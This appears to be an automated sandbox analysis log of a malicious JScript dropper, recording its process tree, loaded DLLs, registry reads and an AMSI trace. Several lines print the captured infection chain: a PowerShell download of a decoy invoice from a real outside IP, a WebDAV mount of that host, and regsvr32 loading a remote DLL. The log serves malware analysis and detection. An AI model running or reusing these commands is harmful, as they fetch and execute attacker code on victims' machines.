Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\280109871157958128.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1772,i,10236727431777352891,15663673064347351715,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1772,i,10236727431777352891,15663673064347351715,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5422.js.csv");ITextStream.WriteLine(" entry:8476 f:gctldc");ITextStream.WriteLine(" exec:2 f:gctldc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
